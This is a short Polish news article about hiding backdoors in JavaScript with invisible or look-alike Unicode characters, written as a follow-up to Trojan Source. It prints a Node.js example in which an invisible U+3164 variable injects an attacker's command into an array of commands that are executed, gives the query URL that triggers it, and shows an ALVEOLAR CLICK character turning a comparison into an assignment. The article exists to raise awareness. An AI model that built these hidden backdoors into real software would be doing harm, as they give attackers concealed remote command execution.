Po metodzie ataku Trojan Source, opartej na użyciu znaków Unicode zmieniających kolejność wyświetlania tekstu dwukierunkowego, opublikowano kolejną technikę wprowadzania ukrytych działań, która ma zastosowanie w kodzie JavaScript. Nowa metoda bazuje na użyciu znaku unicode „ㅤ” (kod 0x3164, „HANGUL FILLER”), który należy do kategorii liter, ale nie ma widocznej zawartości. Kategoria Unicode, do której należy ten znak, jest dozwolona od specyfikacji ECMAScript 2015 do użycia w nazwach zmiennych JavaScript, co umożliwia tworzenie niewidocznych zmiennych lub nowych zmiennych, które są nieodróżnialne od innych zmiennych w popularnych edytorach kodu, takich jak Notepad++ i VS Code.
Jako przykład podano kod dla platformy Node.js, w którym za pomocą zmiennej składającej się z jednego znaku „ㅤ” ukryto backdoora, który pozwala na wykonanie podanego przez atakującego kodu: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // w rzeczywistości podano „const { timeout,ㅤ \u3164}” const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // po przecinku następuje znak \u3164 ];
Na pierwszy rzut oka przez zewnętrzny parametr przekazywana jest tylko wartość timeout, a tablica z wykonywanymi poleceniami zawiera nieszkodliwą, stałą listę. Ale w rzeczywistości po zmiennej timeout przypisywana jest wartość jeszcze jednej niewidocznej zmiennej z kodem znaku \u3164, która również jest umieszczona w tablicy poleceń do wykonania. W ten sposób, przy tego typu konstrukcji, aby aktywować backdoora i wykonać swój kod, atakujący może wysłać zapytanie o formacie „https://host:8080/network_health?=komenda”.
Jako kolejny przykład podano znak „ǃ” (ALVEOLAR CLICK), który może być używany do stworzenia iluzji wskazywania znaku wykrzyknika. Na przykład wyrażenie „if(environmentǃ=ENV_PROD){” podczas wykonywania w Node.js 14 zawsze będzie prawdziwe, ponieważ w nim nie sprawdza się różnicy, a przypisuje się zmiennej „environmentǃ” wartość ENV_PROD. Wśród wprowadzających w błąd znaków unicode znajdują się również „/”, „−”, „+”, „⩵”, „❨”, „⫽”, „꓿” i „∗”.
Źródło: opennet.ru
